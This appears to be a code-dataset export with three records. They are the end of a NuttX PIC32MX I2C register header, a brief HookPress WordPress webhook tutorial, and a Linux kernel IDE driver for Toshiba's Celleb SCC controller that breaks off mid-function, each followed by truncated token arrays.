# define PIC32MX_I2C3_MSK (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_MSK_OFFSET)
# define PIC32MX_I2C3_MSKCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_MSKCLR_OFFSET)
# define PIC32MX_I2C3_MSKSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_MSKSET_OFFSET)
# define PIC32MX_I2C3_MSKINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_MSKINV_OFFSET)
# define PIC32MX_I2C3_BRG (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_BRG_OFFSET)
# define PIC32MX_I2C3_BRGSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_BRGSET_OFFSET)
# define PIC32MX_I2C3_BRGCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_BRGCLR_OFFSET)
# define PIC32MX_I2C3_BRGINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_BRGINV_OFFSET)
# define PIC32MX_I2C3_TRN (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_TRN_OFFSET)
# define PIC32MX_I2C3_TRNCLR (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_TRNCLR_OFFSET)
# define PIC32MX_I2C3_TRNSET (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_TRNSET_OFFSET)
# define PIC32MX_I2C3_TRNINV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_TRNINV_OFFSET)
# define PIC32MX_I2C3_RCV (PIC32MX_I2C3_K1BASE+PIC32MX_I2C_RCV_OFFSET)
#endif
#if CHIP_NI2C > 3
# define PIC32MX_I2C4_CON (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_CON_OFFSET)
# define PIC32MX_I2C4_CONCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_CONCLR_OFFSET)
# define PIC32MX_I2C4_CONSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_CONSET_OFFSET)
# define PIC32MX_I2C4_CONINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_CONINV_OFFSET)
# define PIC32MX_I2C4_STAT (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_STAT_OFFSET)
# define PIC32MX_I2C4_STATCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_STATCLR_OFFSET)
# define PIC32MX_I2C4_STATSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_STATSET_OFFSET)
# define PIC32MX_I2C4_STATINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_STATINV_OFFSET)
# define PIC32MX_I2C4_ADD (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_ADD_OFFSET)
# define PIC32MX_I2C4_ADDCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_ADDCLR_OFFSET)
# define PIC32MX_I2C4_ADDSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_ADDSET_OFFSET)
# define PIC32MX_I2C4_ADDINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_ADDINV_OFFSET)
# define PIC32MX_I2C4_MSK (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_MSK_OFFSET)
# define PIC32MX_I2C4_MSKCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_MSKCLR_OFFSET)
# define PIC32MX_I2C4_MSKSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_MSKSET_OFFSET)
# define PIC32MX_I2C4_MSKINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_MSKINV_OFFSET)
# define PIC32MX_I2C4_BRG (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_BRG_OFFSET)
# define PIC32MX_I2C4_BRGSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_BRGSET_OFFSET)
# define PIC32MX_I2C4_BRGCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_BRGCLR_OFFSET)
# define PIC32MX_I2C4_BRGINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_BRGINV_OFFSET)
# define PIC32MX_I2C4_TRN (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_TRN_OFFSET)
# define PIC32MX_I2C4_TRNCLR (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_TRNCLR_OFFSET)
# define PIC32MX_I2C4_TRNSET (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_TRNSET_OFFSET)
# define PIC32MX_I2C4_TRNINV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_TRNINV_OFFSET)
# define PIC32MX_I2C4_RCV (PIC32MX_I2C4_K1BASE+PIC32MX_I2C_RCV_OFFSET)
#endif
#if CHIP_NI2C > 4
# define PIC32MX_I2C5_CON (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_CON_OFFSET)
# define PIC32MX_I2C5_CONCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_CONCLR_OFFSET)
# define PIC32MX_I2C5_CONSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_CONSET_OFFSET)
# define PIC32MX_I2C5_CONINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_CONINV_OFFSET)
# define PIC32MX_I2C5_STAT (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_STAT_OFFSET)
# define PIC32MX_I2C5_STATCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_STATCLR_OFFSET)
# define PIC32MX_I2C5_STATSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_STATSET_OFFSET)
# define PIC32MX_I2C5_STATINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_STATINV_OFFSET)
# define PIC32MX_I2C5_ADD (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_ADD_OFFSET)
# define PIC32MX_I2C5_ADDCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_ADDCLR_OFFSET)
# define PIC32MX_I2C5_ADDSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_ADDSET_OFFSET)
# define PIC32MX_I2C5_ADDINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_ADDINV_OFFSET)
# define PIC32MX_I2C5_MSK (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_MSK_OFFSET)
# define PIC32MX_I2C5_MSKCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_MSKCLR_OFFSET)
# define PIC32MX_I2C5_MSKSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_MSKSET_OFFSET)
# define PIC32MX_I2C5_MSKINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_MSKINV_OFFSET)
# define PIC32MX_I2C5_BRG (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_BRG_OFFSET)
# define PIC32MX_I2C5_BRGSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_BRGSET_OFFSET)
# define PIC32MX_I2C5_BRGCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_BRGCLR_OFFSET)
# define PIC32MX_I2C5_BRGINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_BRGINV_OFFSET)
# define PIC32MX_I2C5_TRN (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_TRN_OFFSET)
# define PIC32MX_I2C5_TRNCLR (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_TRNCLR_OFFSET)
# define PIC32MX_I2C5_TRNSET (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_TRNSET_OFFSET)
# define PIC32MX_I2C5_TRNINV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_TRNINV_OFFSET)
# define PIC32MX_I2C5_RCV (PIC32MX_I2C5_K1BASE+PIC32MX_I2C_RCV_OFFSET)
#endif
/* Register Bit-Field Definitions ***************************************************/
/* I2C control register */
#define I2C_CON_SEN (1 << 0) /* Bit 0: Start condition enable */
#define I2C_CON_RSEN (1 << 1) /* Bit 1: Restart condition enable */
#define I2C_CON_PEN (1 << 2) /* Bit 2: Stop condition enable */
#define I2C_CON_RCEN (1 << 3) /* Bit 3: Receive enable */
#define I2C_CON_ACKEN (1 << 4) /* Bit 4: Acknowledge sequence enable */
#define I2C_CON_ACKDT (1 << 5) /* Bit 5: Acknowledge data */
#define I2C_CON_STREN (1 << 6) /* Bit 6: SCL clock stretch enable */
#define I2C_CON_GCEN (1 << 7) /* Bit 7: General call enable */
#define I2C_CON_SMEN (1 << 8) /* Bit 8: SMBus input levels disable */
#define I2C_CON_DISSLW (1 << 9) /* Bit 9: Slew rate control disable */
#define I2C_CON_A10M (1 << 10) /* Bit 10: 10-bit slave addrewss flag */
#define I2C_CON_STRICT (1 << 11) /* Bit 11: Strict I2C reserved address rules enable */
#define I2C_CON_SCLREL (1 << 12) /* Bit 12: SCL release control */
#define I2C_CON_SIDL (1 << 13) /* Bit 13: Stop in idle mode */
#define I2C_CON_FRZ (1 << 14) /* Bit 14: Freeze in debug mode control */
#define I2C_CON_ON (1 << 15) /* Bit 15: I2C enable */
/* I2C status register */
#define I2C_STAT_TBF (1 << 0) /* Bit 0: Transmit buffer full */
#define I2C_STAT_RBF (1 << 1) /* Bit 1: Receive buffer full */
#define I2C_STAT_RW (1 << 2) /* Bit 2: Read/write information */
#define I2C_STAT_S (1 << 3) /* Bit 3: Start */
#define I2C_STAT_P (1 << 4) /* Bit 4: Stop */
#define I2C_STAT_DA (1 << 5) /* Bit 5: Data/address */
#define I2C_STAT_I2COV (1 << 6) /* Bit 6: I2C overflow status */
#define I2C_STAT_IWCOL (1 << 7) /* Bit 7: Write collision detect */
#define I2C_STAT_ADD10 (1 << 8) /* Bit 8: 10-bit address status */
#define I2C_STAT_GCSTAT (1 << 9) /* Bit 9: General call status */
#define I2C_STAT_BCL (1 << 10) /* Bit 10: Master bus collision detect */
#define I2C_STAT_TRSTAT (1 << 14) /* Bit 14: Transmit status */
#define I2C_STAT_ACKSTAT (1 << 15) /* Bit 15: Acknowledge status */
/* I2C address register */
#define I2C_ADD_MASK 0x3ff /* 10-bit I2C address */
/* I2C address mask register */
#define I2C_MSK_MASK 0x3ff /* 10-bit I2C address mask */
/* Baud rate generator reload register */
#define I2C_BRG_MASK 0xfff /* 12-bit I2C BRG value */
/* I2C transmit register */
#define I2C_TRN_MASK 0xff /* 8-bit transmit data */
/* I2C receive buffer register */
#define I2C_RCV_MASK 0xff /* 8-bit receive data */
/************************************************************************************
* Public Types
************************************************************************************/
#ifndef __ASSEMBLY__
/************************************************************************************
* Inline Functions
************************************************************************************/
/************************************************************************************
* Public Function Prototypes
************************************************************************************/
#ifdef __cplusplus
#define EXTERN extern "C"
extern "C" {
#else
#define EXTERN extern
#endif
#undef EXTERN
#ifdef __cplusplus
}
#endif
#endif /* __ASSEMBLY__ */
#endif /* __ARCH_MIPS_SRC_PIC32MX_PIC32MX_I2C_H */
| IUTInfoAix/terrarium_2015 | nuttx/arch/mips/src/pic32mx/pic32mx-i2c.h | C | bsd-2-clause | 18,743 | [
30522,
1013,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
1008,
100... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
# Creating plugins for Wordpress
HookPress turns all of your WordPress-internal hooks into webhooks. Possible uses include generating push notifications or using non-PHP web technology
<iframe scrolling='no' frameborder='0' width='640' height='350' src='http://www.mefeedia.com/video/23051966&iframe'></iframe>
## Installation
Install a fresh Wordpress blog somewhere and add the <a href="http://wordpress.org/extend/plugins/hookpress/">HookPress plugin</a>.
<script type="text/javascript">var disqus_shortname = 'tutorial-wordpress';</script> | neyric/webhookit | docs/tutorial-wordpress.md | Markdown | mit | 554 | [
30522,
1001,
4526,
13354,
7076,
2005,
2773,
20110,
8103,
20110,
4332,
2035,
1997,
2115,
2773,
20110,
1011,
4722,
18008,
2046,
4773,
6806,
6559,
2015,
1012,
2825,
3594,
2421,
11717,
5245,
26828,
2015,
2030,
2478,
2512,
1011,
25718,
4773,
297... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
/*
* Support for IDE interfaces on Celleb platform
*
* (C) Copyright 2006 TOSHIBA CORPORATION
*
* This code is based on drivers/ide/pci/siimage.c:
* Copyright (C) 2001-2002 Andre Hedrick <andre@linux-ide.org>
* Copyright (C) 2003 Red Hat
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
#include <linux/types.h>
#include <linux/module.h>
#include <linux/pci.h>
#include <linux/delay.h>
#include <linux/ide.h>
#include <linux/init.h>
#define PCI_DEVICE_ID_TOSHIBA_SCC_ATA 0x01b4
#define SCC_PATA_NAME "scc IDE"
#define TDVHSEL_MASTER 0x00000001
#define TDVHSEL_SLAVE 0x00000004
#define MODE_JCUSFEN 0x00000080
#define CCKCTRL_ATARESET 0x00040000
#define CCKCTRL_BUFCNT 0x00020000
#define CCKCTRL_CRST 0x00010000
#define CCKCTRL_OCLKEN 0x00000100
#define CCKCTRL_ATACLKOEN 0x00000002
#define CCKCTRL_LCLKEN 0x00000001
#define QCHCD_IOS_SS 0x00000001
#define QCHSD_STPDIAG 0x00020000
#define INTMASK_MSK 0xD1000012
#define INTSTS_SERROR 0x80000000
#define INTSTS_PRERR 0x40000000
#define INTSTS_RERR 0x10000000
#define INTSTS_ICERR 0x01000000
#define INTSTS_BMSINT 0x00000010
#define INTSTS_BMHE 0x00000008
#define INTSTS_IOIRQS 0x00000004
#define INTSTS_INTRQ 0x00000002
#define INTSTS_ACTEINT 0x00000001
#define ECMODE_VALUE 0x01
static struct scc_ports {
unsigned long ctl, dma;
struct ide_host *host; /* for removing port from system */
} scc_ports[MAX_HWIFS];
/* PIO transfer mode table */
/* JCHST */
static unsigned long JCHSTtbl[2][7] = {
{0x0E, 0x05, 0x02, 0x03, 0x02, 0x00, 0x00}, /* 100MHz */
{0x13, 0x07, 0x04, 0x04, 0x03, 0x00, 0x00} /* 133MHz */
};
/* JCHHT */
static unsigned long JCHHTtbl[2][7] = {
{0x0E, 0x02, 0x02, 0x02, 0x02, 0x00, 0x00}, /* 100MHz */
{0x13, 0x03, 0x03, 0x03, 0x03, 0x00, 0x00} /* 133MHz */
};
/* JCHCT */
static unsigned long JCHCTtbl[2][7] = {
{0x1D, 0x1D, 0x1C, 0x0B, 0x06, 0x00, 0x00}, /* 100MHz */
{0x27, 0x26, 0x26, 0x0E, 0x09, 0x00, 0x00} /* 133MHz */
};
/* DMA transfer mode table */
/* JCHDCTM/JCHDCTS */
static unsigned long JCHDCTxtbl[2][7] = {
{0x0A, 0x06, 0x04, 0x03, 0x01, 0x00, 0x00}, /* 100MHz */
{0x0E, 0x09, 0x06, 0x04, 0x02, 0x01, 0x00} /* 133MHz */
};
/* JCSTWTM/JCSTWTS */
static unsigned long JCSTWTxtbl[2][7] = {
{0x06, 0x04, 0x03, 0x02, 0x02, 0x02, 0x00}, /* 100MHz */
{0x09, 0x06, 0x04, 0x02, 0x02, 0x02, 0x02} /* 133MHz */
};
/* JCTSS */
static unsigned long JCTSStbl[2][7] = {
{0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x00}, /* 100MHz */
{0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05} /* 133MHz */
};
/* JCENVT */
static unsigned long JCENVTtbl[2][7] = {
{0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00}, /* 100MHz */
{0x02, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02} /* 133MHz */
};
/* JCACTSELS/JCACTSELM */
static unsigned long JCACTSELtbl[2][7] = {
{0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00}, /* 100MHz */
{0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01} /* 133MHz */
};
static u8 scc_ide_inb(unsigned long port)
{
u32 data = in_be32((void*)port);
return (u8)data;
}
static void scc_exec_command(ide_hwif_t *hwif, u8 cmd)
{
out_be32((void *)hwif->io_ports.command_addr, cmd);
eieio();
in_be32((void *)(hwif->dma_base + 0x01c));
eieio();
}
static u8 scc_read_status(ide_hwif_t *hwif)
{
return (u8)in_be32((void *)hwif->io_ports.status_addr);
}
static u8 scc_read_altstatus(ide_hwif_t *hwif)
{
return (u8)in_be32((void *)hwif->io_ports.ctl_addr);
}
static u8 scc_dma_sff_read_status(ide_hwif_t *hwif)
{
return (u8)in_be32((void *)(hwif->dma_base + 4));
}
static void scc_write_devctl(ide_hwif_t *hwif, u8 ctl)
{
out_be32((void *)hwif->io_ports.ctl_addr, ctl);
eieio();
in_be32((void *)(hwif->dma_base + 0x01c));
eieio();
}
static void scc_ide_insw(unsigned long port, void *addr, u32 count)
{
u16 *ptr = (u16 *)addr;
while (count--) {
*ptr++ = le16_to_cpu(in_be32((void*)port));
}
}
static void scc_ide_insl(unsigned long port, void *addr, u32 count)
{
u16 *ptr = (u16 *)addr;
while (count--) {
*ptr++ = le16_to_cpu(in_be32((void*)port));
*ptr++ = le16_to_cpu(in_be32((void*)port));
}
}
static void scc_ide_outb(u8 addr, unsigned long port)
{
out_be32((void*)port, addr);
}
static void
scc_ide_outsw(unsigned long port, void *addr, u32 count)
{
u16 *ptr = (u16 *)addr;
while (count--) {
out_be32((void*)port, cpu_to_le16(*ptr++));
}
}
static void
scc_ide_outsl(unsigned long port, void *addr, u32 count)
{
u16 *ptr = (u16 *)addr;
while (count--) {
out_be32((void*)port, cpu_to_le16(*ptr++));
out_be32((void*)port, cpu_to_le16(*ptr++));
}
}
/**
* scc_set_pio_mode - set host controller for PIO mode
* @hwif: port
* @drive: drive
*
* Load the timing settings for this device mode into the
* controller.
*/
static void scc_set_pio_mode(ide_hwif_t *hwif, ide_drive_t *drive)
{
struct scc_ports *ports = ide_get_hwifdata(hwif);
unsigned long ctl_base = ports->ctl;
unsigned long cckctrl_port = ctl_base + 0xff0;
unsigned long piosht_port = ctl_base + 0x000;
unsigned long pioct_port = ctl_base + 0x004;
unsigned long reg;
int offset;
const u8 pio = drive->pio_mode - XFER_PIO_0;
reg = in_be32((void __iomem *)cckctrl_port);
if (reg & CCKCTRL_ATACLKOEN) {
offset = 1; /* 133MHz */
} else {
offset = 0; /* 100MHz */
}
reg = JCHSTtbl[offset][pio] << 16 | JCHHTtbl[offset][pio];
out_be32((void __iomem *)piosht_port, reg);
reg = JCHCTtbl[offset][pio];
out_be32((void __iomem *)pioct_port, reg);
}
/**
* scc_set_dma_mode - set host controller for DMA mode
* @hwif: port
* @drive: drive
*
* Load the timing settings for this device mode into the
* controller.
*/
static void scc_set_dma_mode(ide_hwif_t *hwif, ide_drive_t *drive)
{
struct scc_ports *ports = ide_get_hwifdata(hwif);
unsigned long ctl_base = ports->ctl;
unsigned long cckctrl_port = ctl_base + 0xff0;
unsigned long mdmact_port = ctl_base + 0x008;
unsigned long mcrcst_port = ctl_base + 0x00c;
unsigned long sdmact_port = ctl_base + 0x010;
unsigned long scrcst_port = ctl_base + 0x014;
unsigned long udenvt_port = ctl_base + 0x018;
unsigned long tdvhsel_port = ctl_base + 0x020;
int is_slave = drive->dn & 1;
int offset, idx;
unsigned long reg;
unsigned long jcactsel;
const u8 speed = drive->dma_mode;
reg = in_be32((void __iomem *)cckctrl_port);
if (reg & CCKCTRL_ATACLKOEN) {
offset = 1; /* 133MHz */
} else {
offset = 0; /* 100MHz */
}
idx = speed - XFER_UDMA_0;
jcactsel = JCACTSELtbl[offset][idx];
if (is_slave) {
out_be32((void __iomem *)sdmact_port, JCHDCTxtbl[offset][idx]);
out_be32((void __iomem *)scrcst_port, JCSTWTxtbl[offset][idx]);
jcactsel = jcactsel << 2;
out_be32((void __iomem *)tdvhsel_port, (in_be32((void __iomem *)tdvhsel_port) & ~TDVHSEL_SLAVE) | jcactsel);
} else {
out_be32((void __iomem *)mdmact_port, JCHDCTxtbl[offset][idx]);
out_be32((void __iomem *)mcrcst_port, JCSTWTxtbl[offset][idx]);
out_be32((void __iomem *)tdvhsel_port, (in_be32((void __iomem *)tdvhsel_port) & ~TDVHSEL_MASTER) | jcactsel);
}
reg = JCTSStbl[offset][idx] << 16 | JCENVTtbl[offset][idx];
out_be32((void __iomem *)udenvt_port, reg);
}
static void scc_dma_host_set(ide_drive_t *drive, int on)
{
ide_hwif_t *hwif = drive->hwif;
u8 unit = drive->dn & 1;
u8 dma_stat = scc_dma_sff_read_status(hwif);
if (on)
dma_stat |= (1 << (5 + unit));
else
dma_stat &= ~(1 << (5 + unit));
scc_ide_outb(dma_stat, hwif->dma_base + 4);
}
/**
* scc_dma_setup - begin a DMA phase
* @drive: target device
* @cmd: command
*
* Build an IDE DMA PRD (IDE speak for scatter gather table)
* and then set up the DMA transfer registers.
*
* Returns 0 on success. If a PIO fallback is required then 1
* is returned.
*/
static int scc_dma_setup(ide_drive_t *drive, struct ide_cmd *cmd)
{
ide_hwif_t *hwif = drive->hwif;
u32 rw = (cmd->tf_flags & IDE_TFLAG_WRITE) ? 0 : ATA_DMA_WR;
u8 dma_stat;
/* fall back to pio! */
if (ide_build_dmatable(drive, cmd) == 0)
return 1;
/* PRD table */
out_be32((void __iomem *)(hwif->dma_base + 8), hwif->dmatable_dma);
/* specify r/w */
out_be32((void __iomem *)hwif->dma_base, rw);
/* read DMA status for INTR & ERROR flags */
dma_stat = scc_dma_sff_read_status(hwif);
/* clear INTR & ERROR flags */
out_be32((void __iomem *)(hwif->dma_base + 4), dma_stat | 6);
return 0;
}
static void scc_dma_start(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
u8 dma_cmd = scc_ide_inb(hwif->dma_base);
/* start DMA */
scc_ide_outb(dma_cmd | 1, hwif->dma_base);
}
static int __scc_dma_end(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
u8 dma_stat, dma_cmd;
/* get DMA command mode */
dma_cmd = scc_ide_inb(hwif->dma_base);
/* stop DMA */
scc_ide_outb(dma_cmd & ~1, hwif->dma_base);
/* get DMA status */
dma_stat = scc_dma_sff_read_status(hwif);
/* clear the INTR & ERROR bits */
scc_ide_outb(dma_stat | 6, hwif->dma_base + 4);
/* verify good DMA status */
return (dma_stat & 7) != 4 ? (0x10 | dma_stat) : 0;
}
/**
* scc_dma_end - Stop DMA
* @drive: IDE drive
*
* Check and clear INT Status register.
* Then call __scc_dma_end().
*/
static int scc_dma_end(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
void __iomem *dma_base = (void __iomem *)hwif->dma_base;
unsigned long intsts_port = hwif->dma_base + 0x014;
u32 reg;
int dma_stat, data_loss = 0;
static int retry = 0;
/* errata A308 workaround: Step5 (check data loss) */
/* We don't check non ide_disk because it is limited to UDMA4 */
if (!(in_be32((void __iomem *)hwif->io_ports.ctl_addr)
& ATA_ERR) &&
drive->media == ide_disk && drive->current_speed > XFER_UDMA_4) {
reg = in_be32((void __iomem *)intsts_port);
if (!(reg & INTSTS_ACTEINT)) {
printk(KERN_WARNING "%s: operation failed (transfer data loss)\n",
drive->name);
data_loss = 1;
if (retry++) {
struct request *rq = hwif->rq;
ide_drive_t *drive;
int i;
/* ERROR_RESET and drive->crc_count are needed
* to reduce DMA transfer mode in retry process.
*/
if (rq)
rq->errors |= ERROR_RESET;
ide_port_for_each_dev(i, drive, hwif)
drive->crc_count++;
}
}
}
while (1) {
reg = in_be32((void __iomem *)intsts_port);
if (reg & INTSTS_SERROR) {
printk(KERN_WARNING "%s: SERROR\n", SCC_PATA_NAME);
out_be32((void __iomem *)intsts_port, INTSTS_SERROR|INTSTS_BMSINT);
out_be32(dma_base, in_be32(dma_base) & ~QCHCD_IOS_SS);
continue;
}
if (reg & INTSTS_PRERR) {
u32 maea0, maec0;
unsigned long ctl_base = hwif->config_data;
maea0 = in_be32((void __iomem *)(ctl_base + 0xF50));
maec0 = in_be32((void __iomem *)(ctl_base + 0xF54));
printk(KERN_WARNING "%s: PRERR [addr:%x cmd:%x]\n", SCC_PATA_NAME, maea0, maec0);
out_be32((void __iomem *)intsts_port, INTSTS_PRERR|INTSTS_BMSINT);
out_be32(dma_base, in_be32(dma_base) & ~QCHCD_IOS_SS);
continue;
}
if (reg & INTSTS_RERR) {
printk(KERN_WARNING "%s: Response Error\n", SCC_PATA_NAME);
out_be32((void __iomem *)intsts_port, INTSTS_RERR|INTSTS_BMSINT);
out_be32(dma_base, in_be32(dma_base) & ~QCHCD_IOS_SS);
continue;
}
if (reg & INTSTS_ICERR) {
out_be32(dma_base, in_be32(dma_base) & ~QCHCD_IOS_SS);
printk(KERN_WARNING "%s: Illegal Configuration\n", SCC_PATA_NAME);
out_be32((void __iomem *)intsts_port, INTSTS_ICERR|INTSTS_BMSINT);
continue;
}
if (reg & INTSTS_BMSINT) {
printk(KERN_WARNING "%s: Internal Bus Error\n", SCC_PATA_NAME);
out_be32((void __iomem *)intsts_port, INTSTS_BMSINT);
ide_do_reset(drive);
continue;
}
if (reg & INTSTS_BMHE) {
out_be32((void __iomem *)intsts_port, INTSTS_BMHE);
continue;
}
if (reg & INTSTS_ACTEINT) {
out_be32((void __iomem *)intsts_port, INTSTS_ACTEINT);
continue;
}
if (reg & INTSTS_IOIRQS) {
out_be32((void __iomem *)intsts_port, INTSTS_IOIRQS);
continue;
}
break;
}
dma_stat = __scc_dma_end(drive);
if (data_loss)
dma_stat |= 2; /* emulate DMA error (to retry command) */
return dma_stat;
}
/* returns 1 if dma irq issued, 0 otherwise */
static int scc_dma_test_irq(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
u32 int_stat = in_be32((void __iomem *)hwif->dma_base + 0x014);
/* SCC errata A252,A308 workaround: Step4 */
if ((in_be32((void __iomem *)hwif->io_ports.ctl_addr)
& ATA_ERR) &&
(int_stat & INTSTS_INTRQ))
return 1;
/* SCC errata A308 workaround: Step5 (polling IOIRQS) */
if (int_stat & INTSTS_IOIRQS)
return 1;
return 0;
}
static u8 scc_udma_filter(ide_drive_t *drive)
{
ide_hwif_t *hwif = drive->hwif;
u8 mask = hwif->ultra_mask;
/* errata A308 workaround: limit non ide_disk drive to UDMA4 */
if ((drive->media != ide_disk) && (mask & 0xE0)) {
printk(KERN_INFO "%s: limit %s to UDMA4\n",
SCC_PATA_NAME, drive->name);
mask = ATA_UDMA4;
}
return mask;
}
/**
* setup_mmio_scc - map CTRL/BMID region
* @dev: PCI device we are configuring
* @name: device name
*
*/
static int setup_mmio_scc (struct pci_dev *dev, const char *name)
{
void __iomem *ctl_addr;
void __iomem *dma_addr;
int i, ret;
for (i = 0; i < MAX_HWIFS; i++) {
if (scc_ports[i].ctl == 0)
break;
}
if (i >= MAX_HWIFS)
return -ENOMEM;
ret = pci_request_selected_regions(dev, (1 << 2) - 1, name);
if (ret < 0) {
printk(KERN_ERR "%s: can't reserve resources\n", name);
return ret;
}
ctl_addr = pci_ioremap_bar(dev, 0);
if (!ctl_addr)
goto fail_0;
dma_addr = pci_ioremap_bar(dev, 1);
if (!dma_addr)
goto fail_1;
pci_set_master(dev);
scc_ports[i].ctl = (unsigned long)ctl_addr;
scc_ports[i].dma = (unsigned long)dma_addr;
pci_set_drvdata(dev, (void *) &scc_ports[i]);
return 1;
fail_1:
